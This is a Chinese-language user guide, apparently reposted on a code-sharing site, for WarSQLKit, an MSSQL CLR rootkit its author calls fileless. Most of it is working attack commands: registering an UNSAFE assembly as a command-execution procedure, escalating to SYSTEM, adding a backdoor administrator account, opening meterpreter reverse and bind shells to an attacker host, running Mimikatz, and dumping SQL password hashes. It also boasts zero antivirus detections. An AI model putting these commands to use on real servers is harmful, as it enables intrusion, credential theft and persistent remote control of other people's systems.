IF EXISTS(SELECT * FROM sys.assemblies asmb WHERE asmb.name = N'sp_cmdExec')

DROP ASSEMBLY [sp_cmdExec]

GO

CREATE ASSEMBLY sp_cmdExec

FROM 'C:\ProgramData\WarSQLKit.dll'

WITH PERMISSION_SET = UNSAFE

GO

CREATE PROCEDURE sp_cmdExec

@Command [nvarchar](4000)

WITH EXECUTE AS CALLER

AS

EXTERNAL NAME sp_cmdExec.StoredProcedures.CmdExec

GO

通過此SQL語句,我們創建了一個名為sp_cmdExec的程序集和一個名為sp_cmdExec的存儲過程。

”EXEC sp_cmdExec'sp_help';”    #通過運行該命令,我們可以看到如何使用WarSQLKit。讓我們看一下我們的命令。

“EXEC sp_cmdExec'whoami'; # 通過在操作系統中運行“ whoami”命令,它將向我們顯示SQL Server正在運行哪些權限。您可以運行任何命令來代替Whoami命令。我們的命令輸出如下。

“EXEC sp_cmdExec'whoami /RunSystemPriv';”   如果在任何操作系統命令的末尾添Run / RunSystemPriv una參數,則將創建Kumpir.exe文件,並通過提升權限來運行我們的命令。可以從下圖中看到輸出的示例:

如您所見,當將/RunSystemPriv參數賦予whoami命令時,將創建kumpir.exe,並以用戶“ NT AUTHORITY\SYSTEM”的權限運行該命令。我將向您展示Windows命令的另一個示例,如下:

“EXEC sp_cmdExec'"net user sKyWiPer P@ssw0rd1 /add" /RunSystemPriv';”   #使用此命令通過net user命令創建一個名為sKyWiPer的用戶,該用戶的密碼P@ssw0rd1。我用雙引號包含了我的經典Windows命令,后跟/ RunSystemPriv參數。這將通過kumpir.exe並運行我在操作系統上雙引號之間包含的命令。 

重要說明:WarSQLKit通過將所有非sp_ 命令評估為操作系統命令來嘗試執行命令。ozelsp_basinda是我在rootkit中定義的所有特殊參數中的第一個。

EXEC sp_cmdExec'powershell Get-Acl /RunSystemPS';  您可以通過WarSQLKit運行任何powershell代碼。當您在運行的powershell代碼的末尾添加“ /RunSystemPS una”參數時,將使用SYSTEM用戶的權限來執行powershell命令。在以下示例中,您可以看到Get-Acl poweshell命令的輸出。

 EXEC sp_cmdExec'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem';  我們可以在WarSQLKit上運行meterpreter有效負載,目前支持4個meterpreter負載。“ Sp_meterpreter_reverse_tcp”向我們返回經典的“windows/meterpreter/reverse_tcp"有效負載。此有效負載需要LHOST和LPORT作為參數。在我們的Kali主機中,通過利用exploit/multi/handler將任何端口更改為列表模式后,我們可以通過WarSQLKit執行反向連接。在命令末尾添加“ GetSystem”參數以允許我們的有效負載以SYSTEM權限進行反向連接。我們的Meterpreter有效負載將通過Kumpir.exe執行,並為我們提供“ NT AUTHORITY\SYSTEM”的權限。如果需要,可以刪除GetSystem參數。如果沒有GetSystem參數,我們將獲得與SQL Server運行的權限的反向連接。示例代碼如下:     EXEC sp_cmdExec'sp_meterpreter_reverse_tcp 192.168.139.129 4444 GetSystem';

注意:在Kali中將有效負載設置為“ exploit/multi/handler”之后,需要為WarSQLKit中可用的所有有效負載輸入“ set EXITFUNC none ”。如果不設置此值,則不會收到反向連接。 

“EXEC sp_cmdExec'sp_x64_meterpreter_reverse_tcp LHOST LPORT GetSystem';”  #使用此命令,您可以在x64架構的服務器上運行reverse_tcp有效負載。  

EXEC sp_cmdExec'sp_meterpreter_reverse_rc4 LHOST LPORT GetSystem';   # 使用此命令,您可以在SQL Server上運行RC4類型的meterpreter有效負載。  

提示:對於 “windows/meterpreter/reverse_tcp_rc4”有效負載,需要設置“ set RC4PASSWORD warsql ”參數。RC4的密碼默認為ars warsql。我們目前無法更改此密碼。 

“EXEC sp_cmdExec'sp_meterpreter_bind_tcp LPORT GetSystem';”   #使用此命令,您可以在SQL Server上運行meterpreter bind_tcp有效負載。作為LPORT,您只需輸入要在SQL Server中打開的端口。 

“EXEC sp_cmdExec'sp_Mimikatz';”    # 使用sp_Mimikatz,可以在服務器上運行mimikatz的Powershell版本。在第11小節中,我更詳細地說明了這一點。運行sp_Mimikatz之后,mimikatz日志將平均保存30-60秒間隔輸入到mimi.log文件中。我們運行的命令如下

保存Mimikatz輸出后,我們需要運行“ select * from WarSQLKitTem ”命令。mimikatz輸出如下。  

 

當我們將Mimikatz日志粘貼到任何note應用程序中時,我們將能夠以正確的格式查看它們。 

“EXEC sp_cmdExec'sp_downloadFile URL Location\file.filetype 300';” #通過為sp_downloadFile提供URL,要保存的目錄和超時,我們可以將任何文件下載到SQL Server。我們的命令的示例輸出如下

“EXEC sp_cmdExec'sp_getSqlHash';”   #使用sp_getSqlHash,我們可以獲取MS-SQL用戶的哈希。我們的命令輸出如下。 

“EXEC sp_cmdExec'sp_getProduct';”    #使用此命令,我們可以查看SQL Server上運行的操作系統。

“EXEC sp_cmdExec'sp_getDatabases';”  # 使用此命令,您可以在SQL Server中檢索數據庫的名稱。

提示:WarSQLKit.dll Rootkit已通過測試,僅在以下系統上成功。除此之外,還沒有在任何系統上測試過。

我將使用WarSQLKit兼容版本重新編譯WarSQLi v3,並盡快發布。 

作業系統 SQL Server版 工作條件
Windows Server 2016 SQL Server 2016 運行平穩
Windows Server 2012 R2 SQL Server 2014 運行平穩
Windows Server 2012 SQL Server 2012 運行平穩
Windows Server 2008 SQL Server 2008 權限升級問題。我將使用Incognito編譯一個新版本。
WarSQLKitMinimal.dll(MSSQL Fileless Rootkit)用戶指南

 在本節中,我將討論WarSQLKitMinimal版本。 WarSQLKitMinimal是僅運行參數“ EXEC sp_cmdExec'cmd';”的版本。此版本不具有處理任何以“ sp_..開頭”的命令的功能。這個6 KB的DLL允許您通過SQL Server將命令發送到操作系統。因此,只有操作系統才能執行命令

WarSQLKit.dll文件的掃描結果如下:

Jotti (0/18): https://virusscan.jotti.org/en-US/filescanjob/pfk61amqt4

No Distribute (0/34): https://nodistribute.com/result/3yf58I7hMdZAP6DB

Virus Total (0/62): https://www.virustotal.com/#/file/def95c032d1f1e441dfab2d99ce5de61481690eb9d72ffd5ed7c3e2f71b78309/detection

 

WarSQLKit_Compress.dll(Rootkit的壓縮文件)的掃描結果如下:

Jotti (0/18): https://virusscan.jotti.org/en-US/filescanjob/8s08ge3o0g

No Distribute (0/34): https://nodistribute.com/result/tbv1NjPLKf5ErXMxUOg7

Virus Total (1/62): https://www.virustotal.com/#/file/a176fd965e8e7c97dc7e263339c5a6d7c8a42a8c9416a730d3e2528d12c6fdfe/detection

 

0x14 參考文獻

   https://technet.microsoft.com/en-US/library/ms187861(v=sql.110).aspx

   https://autohotkey.com/mpress/mpress_web.htm

   https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration

  https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/clr-integration-enabling

  https://blog.sqlauthority.com/2008/03/14/sql-server-2005-clr/

  https://docs.microsoft.com/tr-tr/sql/t-sql/statements/alter-assembly-transact-sql

  https://msdn.microsoft.com/library/bbdd51b2-a9b4-4916-ba6f-7957ac6c3f33

  https://stackoverflow.com/questions/2055788/sql-server-2005-create-assembly-from-stream-with-c-sharp

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM